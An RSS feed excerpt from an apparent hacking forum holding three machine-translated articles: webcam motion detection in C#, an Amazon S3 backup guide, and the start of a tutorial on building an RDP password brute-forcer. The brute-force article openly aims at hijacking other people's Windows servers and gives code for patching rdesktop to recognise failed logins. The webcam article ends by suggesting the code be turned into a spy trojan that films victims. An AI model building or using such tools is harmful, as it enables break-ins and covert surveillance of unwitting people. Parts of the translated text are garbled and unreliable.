						&lt;p&gt;Знову ж таки, все простіше простого. Ну і тепер поглянемо на код кнопки &amp;quot;Скріншот&amp;quot;:&lt;/p&gt;
						&lt;p&gt;Device selectedDevice = DeviceManager.GetDevice (cmbDevices.SelectedIndex);&lt;br /&gt;selectedDevice.FrameGrabber ();&lt;/p&gt;
						&lt;p&gt;Я не став приділяти особливої уваги методом FrameGrabber (). У моєму ісходнике виклик методу призводить до збереження поточного кадру безпосередньо у корінь системного диска. Зрозуміло, це не дуже коректно, тому перед бойовим застосуванням програми не забудь внести всі необхідні поправки.&lt;br /&gt;Готовність № 3&lt;/p&gt;
						&lt;p&gt;Тепер настав час поговорити про те, як спорудити простеньку, але надійну систему відеоспостереження. Зазвичай такі системи базуються на двох алгоритмах: відмінність двох фреймів і просте моделювання фону. Їх реалізація (код) досить об&#039;ємна, тому в останній момент я вирішив піти по більш простим шляхом. Під легким шляхом мається на увазі використання потужного, але поки маловідомого фреймворку для. NET - AForge.NET.&lt;/p&gt;
						&lt;p&gt;AForge.NET в першу чергу призначений для розробників і дослідників. З його допомогою, девелопери можуть істотно полегшити свою працю при розробці проектів для наступних областей: нейромережі, робота з зображеннями (накладення фільтрів, редагування зображень, попіксельно фільтрація, зміна розміру, поворот зображення), генетика, робототехніка, взаємодія з відео пристроями і т. д. З фреймворком поставляється хороша документація. У ній описані абсолютно всі можливості продукту. Не полінуйся гарненько з нею ознайомитися. Особливо мені хочеться відзначити якість коду цього продукту. Усе написано цивільно і копатися в коді - одне задоволення.&lt;/p&gt;
						&lt;p&gt;Тепер повернемося до нашої безпосередньої завданню. Скажу чесно, засобами фреймворку вона вирішується як двічі по два. &amp;quot;Тоді навіщо ти мені ширяв мозок WinAPI функціями?&amp;quot; - Невдоволено запитаєш ти. А за тим, щоб ти не був ні в чому обмежений. Сам ж знаєш, що проекти бувають різні. Десь зручніше застосувати махину. NET, а де-то простіше обійтися старим добрим WinAPI.&lt;/p&gt;
						&lt;p&gt;Повернемося до нашої задачці. Для реалізації детектора рухів нам доведеться скористатися класом MotionDetector з вищезазначеного фреймворку. Клас відмінно оперує об&#039;єктами типу Bitmap і дозволяє швиденько обчислити відсоток розбіжності між двома зображеннями. У вигляді коду це буде виглядати приблизно так:&lt;/p&gt;
						&lt;p&gt;MotionDetector detector = new MotionDetector (&lt;br /&gt;new TwoFramesDifferenceDetector (),&lt;br /&gt;new MotionAreaHighlighting ());&lt;/p&gt;
						&lt;p&gt;/ / Обробка чергового кадру&lt;br /&gt;if (detector! = null)&lt;br /&gt;{&lt;br /&gt;float motionLevel = detector.ProcessFrame (image);&lt;/p&gt;
						&lt;p&gt;if (motionLevel&amp;gt; motionAlarmLevel)&lt;br /&gt;{&lt;br /&gt;flash = (int) (2 * (1000 / alarmTimer.Interval));&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;if (detector.MotionProcessingAlgorithm is BlobCountingObjectsProcessing)&lt;br /&gt;{&lt;br /&gt;BlobCountingObjectsProcessing countingDetector = (BlobCountingObjectsProcessing) detector.MotionProcessingAlgorithm;&lt;br /&gt;objectsCountLabel.Text = &amp;quot;Objects:&amp;quot; countingDetector.ObjectsCount.ToString ();&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;objectsCountLabel.Text = &amp;quot;&amp;quot;;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;}&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Вищенаведений код (не рахуючи ініціалізацію класу MotionDetector) у мене виконується при отриманні чергового кадру з веб-камери. Отримавши кадр, я виконую банальне порівняння (метод ProcessFrame): якщо значення змінної motionlevel більше motionLevelAlarm (0.015f), то значить, треба бити на сполох! Рух виявлено. На одному з скрішотов добре видно роботу демонстрація детектора рухів.&lt;br /&gt;Готовність № 4&lt;/p&gt;
						&lt;p&gt;Веб-камеру можна запросто пристосувати для розпізнавання осіб та створення просунутого способу лог-она в систему? Якщо переваривши весь цей матеріал, ти думаєш, що це складно, то ти помиляєшся! Наприкінці березня на сайті &lt;a href=&quot;http://codeplex.com&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://codeplex.com&lt;/a&gt; (хостинг для OpenSource проектів від MS) з&#039;явився приклад (а потім і посилання на статтю), що демонструє реалізацію програми для розпізнавання осіб з використанням веб-камери. Сам приклад заснований на використанні нових можливостей. NET і SilverLight. Розібрати цей приклад в рамках журнальної статті нереально, так як автор ісходника постарався і зробив усе максимально шикарно. Тут тобі і алгоритми для роботи з зображеннями (фільтр розмиття, зменшення шуму, попіксельноє порівняння, розтяжка і т.д.) і демонстрація новинок SilverLight і багато чого ще. Одним словом, must use! Посилання на проект і статтю шукай нижче.&lt;br /&gt;Кінець фільму&lt;/p&gt;
						&lt;p&gt;Наведені в статті приклади послужать тобі гарною відправною точкою. На їх основі легко зварганити як професійну утиліту для роботи з веб-камерою, і піднімати на її продажі кілька сотень баксів на квартал або написати хитрого і злобного трояна-шпигуна.&lt;/p&gt;
						&lt;p&gt;Згадай статтю про бекап Skype-бесід. У ній я говорив, що часи клавіатурних шпигунів вже пройшли. Зараз особливо актуальні аудіо і відео. Якщо врахувати, що сьогодні веб-камера - обов&#039;язковий атрибут будь-якого ноутбука, то неважко уявити, скільки цікавого відео ти зможеш зняти, підсунувши жертві &amp;quot;корисну програмку&amp;quot; ... Однак я тобі цього не говорив:). Удачи в програмуванні, а будуть питання - пиши.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:24:29 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=26#p26</guid>
		</item>
		<item>
			<title>Amazon S3 для звичайних смертних: сучасні технології хмарних обчислень</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=25#p25</link>
			<description>&lt;p&gt;Поява хмарних технологій дозволило будь-якому стартап мати в розпорядженні просунуту інфраструктуру для зберігання файлів. Вона не впаде і витримає будь-яке навантаження користувачів - це раз. Вона нескінченно розширювана - це два. І коштує дешевше, ніж купувати устаткування самому - це три. Але розібратися з хмарними обчисленнями і використовувати їх можуть не тільки фахівці Twitter або іншого масштабного проекту - це під силу кожному. І більш того - корисно не тільки розробникам.&lt;/p&gt;
						&lt;p&gt;Під час завантаження сторінок багатьох великих інтернет-проектів нерідко можна помітити, що ресурси на зразок картинок і відео найчастіше підвантажуються звідкись s3.amazonaws.com. Легко здогадатися - вони знаходяться в хмарі, а саме в Amazon S3. Іноді не все так очевидно: хто ж міг подумати, що відомий сервіс для синхронізації даних між комп&#039;ютерами Dropbox - це гарний, багатоплатформений клієнт для доступу до файлами, які знову ж таки зберігаються на Amazon S3? І як, зауваж, добре працює! Не треба пояснювати, навіщо високонавантажених проектам необхідна надійна майданчик для розміщення файлів, яка 99.9% буде онлайн. Але це може знадобитися і звичайному користувачеві. Банальна завдання - збереження даних. Після того, як впав мій зовнішній жорсткий диск з величезною кількістю фотографій, я задумався про те, що непогано зробити бекап. Але куди? Викладати на flickr або Яндекс.Фотки зручно, але все-таки далеко не всі фотографії хочеться викладати в фотохостинг, навіть під замок. Називайте мене параноїком. Більше того, фотки - це фотки, а як бути з резервних копій інших файлів? Є кілька серверів, звідки періодично необхідно зливати кілька сотень мегабайт бекапа, але надійною майданчики я так і не знайшов. Хто гарантує, що жорсткий диск на виділеному сервері, куди відправляються бекапи, точно так само не накаже довго жити? Про бекапа на інші носії, у тому числі DVD, не хочу навіть задумуватися: це дико незручно і взагалі минуле століття. Загалом, саме в той самий момент, коли я задумався про майданчик для надійного зберігання файлів, мені прийшла в голову ідея про Amazon S3. І ось чому.&lt;br /&gt;Що таке S3?&lt;/p&gt;
						&lt;p&gt;Amazon S3 розшифровується як Amazon Simple Storage Server - просте сховище файлів від Amazon. Якщо говорити коротко, то це просто сховище в Інтернеті. &amp;quot;Причому тут хмарні обчислення, це ж звичайний хостинг?&amp;quot;, - Можливо, помітиш ти. Зараз я поясню. У звичайного хостингу завжди є кілька обмежень. Перше саме прозоре - об&#039;єм жорстких дисків (особливо, якщо це стосується дорогих SCSI). Упрешся в стелю - потрібно робити апгрейд. З другим обмеженням стикаєшся, коли на ресурс несподівано приходить надмірно багато користувачів, і сервер банально ... падає. Або інший варіант - не вистачає Інтернет-каналу, і користувачі тягнуть файли так, як якщо б опинилися 10 років тому на 36.6К-модем. Мало цього, якщо раптом жорсткий диск на сервері полетить, то найкраще, на що доведеться сподіватися, - це лише колись зроблений бекап. На жаль, навіть з резервної копією, зробленою кілька годин тому, можна втратити тонну важливих даних. А тепер подивимося на Amazon S3. Тобі надається рівно стільки простору в сховище, скільки потрібно. Хоч 10 Мб, 1 Гб або навіть 5000 Гб - ніяких обмежень (обмовлюся, крім максимального розміру на файл - 5 Гб). У датацентрах Amazon використовується спеціально пророблена обладнання та розподілені файлові системи, що дозволяють нескінченно масштабуватися. Ті ж самі знамениті технології, які давним-давно використовувалися, скажімо, в Google для зберігання величезних масивів даних, але у вигляді послуги для кінцевого користувача. Що не менш важливо, Amazon S3 гарантує схоронність даних. Будь-який об&#039;єкт в обов&#039;язковому порядку надлишково зберігається одночасно в декількох місцях. Як тільки об&#039;єкт потрапляє в сховище, S3 піклуватися про його надійність, перевіряючи і в разі необхідності збільшуючи відсутню надмірність даних. Крім цього, S3 також регулярно перевіряє цілісність даних, що зберігаються, використовуючи контрольні суми. Якщо раптом виявляються порушення, цілісність відновлюється знову ж за допомогою тих самих надлишкових даних. Що все це дає? Багато &amp;quot;дев&#039;яток&amp;quot;:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * 99.99% доступність файлів протягом року;&lt;br /&gt;&amp;#160; &amp;#160; * 99.999999999% надійності.&lt;/p&gt;
						&lt;p&gt;Стоп, я ще не сказав про систему версійність. Ти можеш використовувати її для збереження, вилучення та відновлення попередніх версій об&#039;єкта, що зберігаються в Amazon S3. Запит за замовчуванням витягує останню версію. Але більш стару модифікацію файлу можна закачати, вказавши версію файлу.&lt;br /&gt;Скільки це коштує?&lt;/p&gt;
						&lt;p&gt;Звичайно, послуги Amazon S3 не безкоштовні, як і за все хороше, доведеться платити. Але я б ніколи не став розповідати про хмарних обчисленнях у такому ключі, якщо б не більше ніж підйомні ціни. Якщо мова йде про невеликі обсяги для зберігання (на бекап якихось важливих файлів) і невеликому трафіку, то виходять фактично копійки. У Amazon використовується регресійна шкала: чим більше хостів, тим дешевше тобі обходиться гігабайт сховища. До 50 ТБ вартість гігабайта становить $ 0.150. Приблизно 4.5 рубля за гігабайт на місяць! Правда, окремо доведеться платити за трафік (поки безкоштовно), а також запити для звернення до об&#039;єктів ($ 0.01 за 1000 запитів).&lt;/p&gt;
						&lt;p&gt;Щоб відразу зрозуміти, скільки приблизно ти будеш витрачати, можеш скористатися спеціальним калькулятором. Вибираємо в меню, що хочемо підрахувати вартість для сервісу Amazon S3 (це не єдиний проект хмарних обчислень від цієї компанії), і вводимо дані на власний сховища бекапів. Я використовую близько 20 Гб для зберігання файлів, вхідний трафік складає приблизно 5 Гб, а вхідного практично немає (зазначимо для вірності теж 5 Гб). Кількість запитів PUT / COPY / POST / LIST - близько 5 тисяч, стільки ж зазначимо для запитів GET. Заповнивши поля, натискаємо на &amp;quot;Add to bill&amp;quot; і дивуємося ціною справа.&lt;/p&gt;
						&lt;p&gt;Виходить, за наднадійні сховище з підтримкою версійність, яке доступне 99.99% часу, доведеться платити $ 3.66 в місяць, а це трохи більше 100 рублів. Не те щоб дуже великі плати за спокій і гарантію збереження даних. До того ж, сам факт використання самих передових технологій: розібравшись з S3 для зберігання бекапів, у разі необхідності легко потім підключити cloud-storage до свого високонавантаженого проекту. Якщо у тебе є такою, але при цьому хостинг постійно відмовляє, а ширини каналу не вистачає, щоб витримати години пік, обов&#039;язково порахуй витрати на утримання S3. Цілком імовірно, що при тих же витратах ти зможеш отримати безпроблемне сховище в хмарі, а може - навіть дешевше!&lt;/p&gt;
						&lt;p&gt;Тут є ще одна хитрість. У калькуляторі є один незрозумілий на перший погляд параметр Reduced Redundancy Storage (RRS). Це відносно недавно з&#039;явилася опція в S3, що дозволяє зменшити витрати за рахунок купівлі дискового простору в менш надійному контейнері. Це, звичайно, не означає, що файли будуть хоститься на якому-небудь старому обладнанні або на зразок того. Звичайно, ні - просто для файлів у такому сховищі буде використано меншу кількість надмірності і меншу кількість реплікацій. Але навіть у такому випадку надійність зберігання буде в 400 (!) Разів вище, ніж просто вдома на жорсткому диску. Таке сховище дешевше (це легко перевіряється калькулятором), але теоретично менш надійно. Тут важливо ще сказати, що у Amazon S3 є три регіони, в яких розташовані датацентри - два в Америці, один в Ірландії і один в Сінгапурі. Це зроблено для того щоб мінімізувати затримки: краще всього вибирати регіон ближній до себе, але при цьому мати на увазі, що ціна між різними регіонами може незначно відрізнятися.&lt;/p&gt;
						&lt;p&gt;XXX ЗАГОЛОВОК XXX&lt;br /&gt;Як підписатися?&lt;/p&gt;
						&lt;p&gt;Якими б пафосними не були розмови про хмарних обчисленнях, почати їх використовувати - нікчемна справа. У першу чергу, як вводиться, необхідно зареєструватися: тиснемо на кнопку &amp;quot;Sing up for Amazon S3&amp;quot; на офіційній сторінці сервісу aws.amazon.com/s3. Якщо ти до цього моменту купував щось в інтернет-магазині Amazon (а я, наприклад, купував у ньому Radar-детектор вдвічі дешевше, ніж він продається в Росії), то можна використовувати вже наявний обліковий запис. В іншому випадку доведеться заповнити декілька стандартних форм. Так чи інакше, рахунок у Amazon&#039;е у нас є, тепер необхідно обзавестися доступом до самого S3, а вірніше всім Amazon Web Service (AWC). Вводимо своє ім&#039;я, поштову адресу, пароль і вибираємо метод платежу. Для оплати, як не крути, знадобиться карта міжнародної платіжної системи, тобто Visa або Mastercard. Ти можеш скривився: &amp;quot;Мовляв, фігня якась: ні Webmoney, ні Яндекс.Денег ні - не буду користуватися&amp;quot;. Насправді, час диктує нові правила. Кредитною картою можна розплатитися скрізь: я навіть не кажу про іноземні магазинах і проектах, їх почали нормально приймати скрізь в Росії. Витрати мінімальні: якщо картка потрібна тільки для оплати в Інтернеті, згодиться віртуальна версія (тобі видається тільки номер картки, час витікання й cvv2 код замість самої пластикової картки). Обслуговування Visa Virtuon коштує 200 рублів на рік, при цьому ти можеш розплачуватися нею без комісії, як у випадку з електронними грошима. Таку карту приймають скрізь, де є логотип Visa - простіше кажучи, їй можна розплатитися скрізь:). Amazon спише з картки один долар, щоб перевірити валідність карти, і через деякий час поверне його. Це спочатку насторожує і бентежить: &amp;quot;Один долар, і все?&amp;quot;. Так і є - сервіс використовує оплату постфактум. Скільки будеш використовувати простору, скільки трафіку нагенерішь - за стільки і заплатиш. Дуже зручно і гнучко. Через кілька хвилин після реєстрації на пошту прийде лист з підтвердженням того, що твій акаунт активовано. Можна починати працювати.&lt;br /&gt;Наше перше звернення до сховища&lt;/p&gt;
						&lt;p&gt;Перш ніж рватися в бій, необхідно розібратися, як власне влаштований S3 і як працювати з файлами, які знаходяться в хмарі. У платформі від Amazon немає звичної файлової системи - вона розподілена. Тут немає такого поняття як файл або каталог: на практиці це означає, що ти не зможеш взяти FTP-або SSH-клієнт і звернутися до них.&lt;/p&gt;
						&lt;p&gt;Amazon S3 концептуально - це дуже просте key-based сховище. Це означити, що коли ти розміщувати дані, їм присвоюється унікальний ключ об&#039;єкта, який далі може бути використаний, щоб ці файли отримати. Кожен об&#039;єкт знаходиться всередині так званого bucket&#039;а - це фундаментальне поняття S3, що означає контейнер для зберігання будь-якої кількості об&#039;єктів. Але оскільки ключ може бути рядком, то він може імітувати ієрархію каталогів. Останнє означає, що якщо у тебе є файл scanner.zip в каталозі xtoolz, то ти можеш залити його в сховище S3 і присвоїти йому ключ xtoolz / scanner.zip.&lt;/p&gt;
						&lt;p&gt;Будь-які об&#039;єкти знаходяться в хмарі не самі по собі, а всередині так званого bucket&#039;а. Bucket або відро - це концептуальне поняття контейнера всередині Amazon S3, в якому може перебувати нелімітоване кількість об&#039;єктів. Назва bucket повинна бути унікальною по всій системі Amazon S3, тому як є ідентифікатором для доступу до об&#039;єктів bucket&#039;а ззовні. Наприклад, якщо об&#039;єкт називається xtoolz / scanner.zip і знаходиться в bucket&#039;е xakep, то до нього можна звернутися, використовуючи URL &lt;a href=&quot;http://xakep.s3.amazonaws.com/xtoolz/scanner.zip.&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://xakep.s3.amazonaws.com/xtoolz/scanner.zip.&lt;/a&gt; Звертатися до bucket&#039;ам можеш тільки ти сам, а можеш дозволити це робити іншим. За допомогою атрибутів об&#039;єкта ти можеш дозволити або заборонити доступ іншим людям, які хочуть завантажувати або заливати файли в твої bucket&#039;и. Так, щоб кожна людина могла завантажити об&#039;єкт з твого сховища за адресою &lt;a href=&quot;http://xakep.s3.amazonaws.com/xtoolz/scanner.zip,&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://xakep.s3.amazonaws.com/xtoolz/scanner.zip,&lt;/a&gt; йому повинні бути присвоєні права для читання &amp;quot;All&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Для роботи з об&#039;єктами використовуються технології REST і SOAP, а всі операції виконуються за допомогою запитів (саме тому за них треба платити). П&#039;ять основних операцій: створити bucket, записати об&#039;єкт (вказавши унікальний ключ і bucket), вважати об&#039;єкт (можна завантажити файл по HTTP або BitTorrent протоколу), видалити об&#039;єкт, вивести лістинг ключів (отримати список всіх ключів, що зберігаються всередині зазначеного &amp;quot;відра&amp;quot;).&lt;/p&gt;
						&lt;p&gt;Проста архітектура дозволяє масштабувати систему, а розробникам надає повну свободу для роботи з хмарою. Нам же для використання S3 як місця для бекапа і взагалі сховища файлів, бажано використовувати звичну структуру каталогів. Це нескладно, тому є чимало рішень, що дозволяють представити дані так, щоб це було зручно і звично для звичайного користувача.&lt;br /&gt;Організуємо файлове сховище&lt;/p&gt;
						&lt;p&gt;Так як же отримати доступ до цих bucket&#039;а і створити, нарешті, своє перше сховище? Є кілька варіантів. Можна скористатися безкоштовним розширенням для Firefox - S3Fox: за допомогою нього можна робити практично все. Встановлюється як і будь-який інший аддон, але при першому ж запуску обов&#039;язково вилається з приводу отстствующіх акаунтів. Можеш не пробувати вводити сюди email та пароль для доступу до особистого кабінету Amazon - йому потрібне зовсім інше. У S3 використовується досить потужна модель безпеки, що передбачає різні способи авторизації. Найпростіший спосіб звернутися до сховища - використовувати пару ключів Access Key ID - Secret Access Key (вони ж використовуються для симетричного шифрування). Отримати ключі, створити нові або заблокувати існуючі можна в розділі Security Credentials, в який можна потрапити з свого особистого кабінету. Виглядають вони приблизно так:&lt;/p&gt;
						&lt;p&gt;Access Key ID: AKIAIEAXPSMKJUXB3XDQ&lt;br /&gt;Secret Access Key: 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&lt;/p&gt;
						&lt;p&gt;Все, тепер створюємо новий рахунок у S3Fox, вводимо ключі - і, ву-а-ля, з&#039;єднання встановлюється. Виглядає S3Fox, як і будь-якої файлової менеджер з двома панелями: з одного боку локальні диски, з іншого - хмара. Якщо спробувати перемістити файл або папку, плагін скаже, що для цього попередньо потрібно створити bucket. Об&#039;єкт в хмарі не може бовтатися сам по собі і обов&#039;язково повинен бути прив&#039;язаний до одного з &amp;quot;відер&amp;quot;. Сам процес створення bucket мало чим відрізняється від створення каталогу на локальному диску, про правила складання імені підкаже сам плагін. У цілому треба використовувати ті символи, які можуть бути в URL - як я вже сказав, ім&#039;я &amp;quot;відра&amp;quot; далі використовується для складання URL для доступу файлу ззовні. Пробуємо залити файл - вийшло. Виберемо цілу папку - немає проблем, файли по черзі заливаються з використанням черги. Тепер подивимося, чи доступні файли ззовні. Через контекстне меню якого-небудь файлу натиснемо &amp;quot;Copy URL&amp;quot; і спробуємо відкрити отримане посилання в браузері (&lt;a href=&quot;http://xakep.s3.amazonaws.com/xtoolz/scanner.zip&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://xakep.s3.amazonaws.com/xtoolz/scanner.zip&lt;/a&gt;). Облом:&lt;/p&gt;
						&lt;p&gt;AccessDeniedAccess Denied31D32B892AF10B41tDOSXPdDmixz7CkanMA1GoYbaBhgcTjQy8l93OqTNsXXJqmj3snzF2fOdlAQJvQ9&lt;/p&gt;
						&lt;p&gt;Доступ заборонений. Необхідно знову ж таки через контекстне меню змінити права доступу (&amp;quot;Edit ACL&amp;quot;) і зробити файл доступним для всіх - після цього всі відразу запрацює. S3Fox дозволяє виконувати всі елементарні дії з файлами і навіть підтримує найпростішу синхронізацію каталогів. Ще один плюс в тому, що плагін багатоплатформовий і може бути встановлений до браузеру під будь-який ОС. З іншого боку, коли починаєш працювати з Amazon S3 більш щільно, приходить розуміння, що функціоналу у плагіна недостатньо. Яке було моє здивування, коли я хотів перейменувати файл, а такої можливості ... не виявилося. Немає і підтримки більш дешевого сховища RRS, про який ми говорили. Загалом, з цього моменту я почав використовувати інструмент серйозніша - CloudBerry Explorer.&lt;br /&gt;Прокачуємо софт&lt;/p&gt;
						&lt;p&gt;Єдиний недолік цієї утиліти в тому, що працює вона тільки під віндою. Зате в іншому це надзвичайно потужний інструмент для роботи з S3-сховищем.&lt;/p&gt;
						&lt;p&gt;По-перше, тут є вкладки: можна навіть одночасно працювати з різними обліковими записами на Amazon S3, якщо необхідна така можливість. По-друге, програма не впадає в ступор, коли потрібно залити на сервер многогігабайтний файл (у S3Fox цього краще не робити!). Те ж саме стосується ситуації, коли в хмару потрібно залити величезна кількість файлів: всі, будь то зовсім маленькі чи дуже великі, акуратно встануть в чергу і передаватися на сервера S3. По-третє, CloudBerry Explorer підтримує швидке копіювання і переміщення об&#039;єктів між акаунтами і bucket&#039;амі всередині Amazon S3. Тобто не треба спочатку закачувати файли собі, а потім знову заливати на сервер - все відбувається прозоро всередині хмари. Природно, підтримується перейменування об&#039;єктів (чому її немає в S3Fox, мені складно зрозуміти). По-четверте, ти можеш розшарити об&#039;єкти або навіть цілі &amp;quot;відра&amp;quot; для інших користувачів Amazon S3. За допомогою ACL-листів чітко настроюються всі політики безпеки. До речі, коли створюєш посилання, іноді дуже корисно вибрати протокол BitTorrent (опція &amp;quot;generate bittorent url). У цьому випадку файл із хмари буде викачуватися через Torrent&#039;и. Це дуже класна фішка Amazon S3, яка стане в нагоді, щоб заощадити трафік. Користувачі при такому розкладі будуть викачувати об&#039;єкт не тільки із хмари, але і з комп&#039;ютерів один одного. Мало того, для будь-якої згенеровано можна позначити термін придатності, після якого вона буде невалідним. І що важливо: при всіх плюсах CloudBerry Explorer залишається безкоштовним для всіх користувачів. Втім , розробники знали, як можна змусити користувачів платити. У її старшого брата, за який проситься $ 40, є ще кілька запаморочливих фішок. По-перше, це підтримка шифрування і версионном, які пропонуються Amazon S3. А, по-друге, можливість використання Powershell -скриптів для автоматизації практично будь-яких завдань. Спробуємо автоматизувати закачування вмісту c: \ workdata \ в bucket &amp;quot;xakep&amp;quot;, причому ім&#039;я нової директорії в хмарі буде генериться автоматично, виходячи з поточної дати (2010_06_01 - такий формат зручніше для сортування):&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:22:56 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=25#p25</guid>
		</item>
		<item>
			<title>Брутом Дедик по-новому: свіжий підхід до програмування RDP-брутфорсер</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=24#p24</link>
			<description>&lt;p&gt;У наші дні лише ледачий не пробував Брут Дедик - благо, тулз для цієї справи написано предостатньо. Найбільш відомі tss-brute від metal і ActiveX-based брутфорс, початок еволюції яких поклали ми з Dizz&#039;ом в минулому році. Всі інші брутфорс базуються на цих двох - будучи фронт-ендами tss-brute (RDP Brute by Dizz) або клонами мого R &amp;amp; D P Brute. У цьому році я знайшов новий спосіб викрадення серверів на Windows. Хочеш дізнатися, як - читай далі!&lt;/p&gt;
						&lt;p&gt;Існуючі рішення&lt;/p&gt;
						&lt;p&gt;Здавалося б, усе добре - сила-силенна брутфорс, вибирай-не хочу, але всі вони не позбавлені недоліків.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Брутфорс від metal&#039;a - один великий &amp;quot;костиль&amp;quot; (хоча авторові величезний респект за виконану роботу). Пароль у ньому вводиться шляхом емуляції натискань на кнопки, до того ж він залежить від версії mstsc.exe.&lt;br /&gt;&amp;#160; &amp;#160; * ActiveX-based брутфорс характеризуються самим словом &amp;quot;ActiveX&amp;quot; - ця технологія ну ніяк не підходить для створення подібного софту. Брутфорс - знову ж таки милицю на милиці, наприклад, щоб нормально підбирався пароль, доводиться створювати n об&#039;єктів на формі, де n дорівнює кількості потоків. Причому робити об&#039;єкти невидимими не можна - тоді підбір пароля перестає працювати (щоб віконечка не було видно, їх доводиться ховати за межі форми!). Ще один, найбільший мінус - він ні в яку не хоче працювати на Windows Server 2003, а більшість же Дедик працює саме на цій ОС.&lt;/p&gt;
						&lt;p&gt;Отже, сьогодні я розповім тобі, як мені вдалося написати брутфорс, який працює на будь-якій ОС сімейства Windows NT, при цьому не використовуючи ніяких зовнішніх компонентів - фактично працюючи прямо з протоколом RDP версії 5!&lt;br /&gt;Розбір польотів&lt;/p&gt;
						&lt;p&gt;Восени 2009 року я серйозно задумався над написанням нового брутфорс. Я почав шукати документацію по протоколу RDP, і, само собою, нічого не знайшов. І тоді я згадав, що існує такий проект, як rdesktop - RDP-клієнт під Нікс, який працює з X-сервером і вміє автоматично вводити логін і пароль. Я завантажив вихідні коди і почав їх вивчати. Взяти й просто скопіювати декілька функцій неможливе через своєрідну структури програми, тому я вирішив переписати їх у потрібному мені вигляді. Витративши близько тижня, я забив на цю справу. Через деякий час один мій іноземний знайомий, зацікавлений у написанні мною хорошого брутфорс, скинув мені цікаву інформацію - патч, що перетворює rdesktop в брутфорс. Начебто, ось воно, щастя, та не тут-то було! Брут виходив однопотоковим, за списком паролів, і працював він тільки під лінуксом, що нас зовсім не влаштовувало. В черговий раз на проект було забито. Через кілька місяців я наткнувся на pudn.com на winRDesktop - порт rdesktop&#039;a на Windows, у вигляді проекту для MS Visual Studio. Це було саме те, що мені потрібно, і я взявся за перетворення нешкідливою софтинка в забійний брутфорс.&lt;/p&gt;
						&lt;p&gt;Для початку нам необхідно визначитися, як саме виглядатиме наша прога. Розглянувши безліч варіантів, я зупинився на одному - брутфорс складається з двох частин:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. Модифікований winrdesktop, якому передаються логін, пароль та IP сервера. Він намагається залогіньтеся і повертає результат.&lt;br /&gt;&amp;#160; &amp;#160;2. GUI - фронт-енд, який керує всім цим добром: вводить багатопоточність, дозволяє сканувати діапазони IP, забезпечує роботу ICQ-бота. GUI буде написаний на C + + з фреймворком Qt.&lt;/p&gt;
						&lt;p&gt;Напевно, у тебе виникло питання з приводу бота - а як же ми реалізуємо його, якщо реально робочі компоненти для ICQ є тільки під Delphi / BCB? Відкрию невеликий секрет - існує Qt-клас QOSCAR для роботи з ICQ (написаний, до речі кажучи, мною), і знаходиться він на qoscar.googlecode.com. У цій статті не розглядається написання бота, там все гранично просто, і ти (я сподіваюся) в змозі розібратися з цим питанням сам. Все, ліричний відступ у бік, починаємо кодіть!&lt;br /&gt;Developers, developers, developers!&lt;/p&gt;
						&lt;p&gt;Для початку мені було потрібно знайти исходники WinRDesktop&#039;a. Завдання було не з легких, і я вбив півдня, щоб розібратися, як же скачати їх з одного &amp;quot;PUDN&amp;quot;. Далі я знайшов патч, що перетворює Rdesktop в брутфорс. Але у нас щось не Rdesktop! Не біда - пропатчити софтинка руками. Запускаємо Visual Studio 2008 (піде і VC + + 2008 Express, але Professional має крутіший компілятор, тому раджу використовувати саме його, тим більше, якщо ти студент - можеш отримати його безкоштовно по DreamsPark), і відкриваємо наш проект. Проект спочатку призначений для VC 9, тому без танців з бубном у версіях молодше VS2008 він не запрацює.&lt;/p&gt;
						&lt;p&gt;Спочатку додамо кілька констант в файл rdesktop.h, які допоможуть програмі розпізнавати результат введення пароля. До речі кажучи, в патчі є функція брутфорс серверів під Win 2k, але він використовує четверту версію протоколу, яка не підтримує автологін, тому пас вбивається емуляцією кнопок. Нас таке не влаштовує, так що Win 2000 ми підтримувати не будемо.&lt;/p&gt;
						&lt;p&gt;Як же працює розпізнавання? Дуже просто - прийшов клієнту пакет побайтово порівнюється з деякими сигнатурами, і на підставі цих сигнатур робиться висновок про успіх / невдачі при підборі пароля. Наприклад, # define LOGON_AUTH_FAILED &amp;quot;\ xfe \ x00 \ x00&amp;quot; означає, що пароль був введений неправильно. Решта константи ти можеш підглянути в коді. Значення констант має бути зрозуміло з назви. Якщо ні, то навіщо ти це читаєш? :)&lt;/p&gt;
						&lt;p&gt;Далі ми патчі процидурку process_text2 () з файлу orders.c. У ній-то і відбувається розпізнавання результату введення пароля. Хоча, насправді, не тільки в ній - часто при успішному логіні сервер надсилає пакет з повідомленням про це - PDU_LOGON.&lt;/p&gt;
						&lt;p&gt;Подивимося код:&lt;/p&gt;
						&lt;p&gt;Шматок process_text2 ()&lt;/p&gt;
						&lt;p&gt;if (! memcmp (os-&amp;gt; text, LOGON_AUTH_FAILED, 3))&lt;br /&gt;ExitProcess (2);&lt;br /&gt;if ((! memcmp (os-&amp;gt; text, LOGON_MESSAGE_FAILED_XP, 18)) | | (! memcmp (os-&amp;gt; text, LOGON_MESSAGE_FAILED_2K3, 18)))&lt;br /&gt;ExitProcess (3);&lt;/p&gt;
						&lt;p&gt;Цей код потрібно вставляти в самому початку процедури.&lt;/p&gt;
						&lt;p&gt;Поясню його дію.&lt;/p&gt;
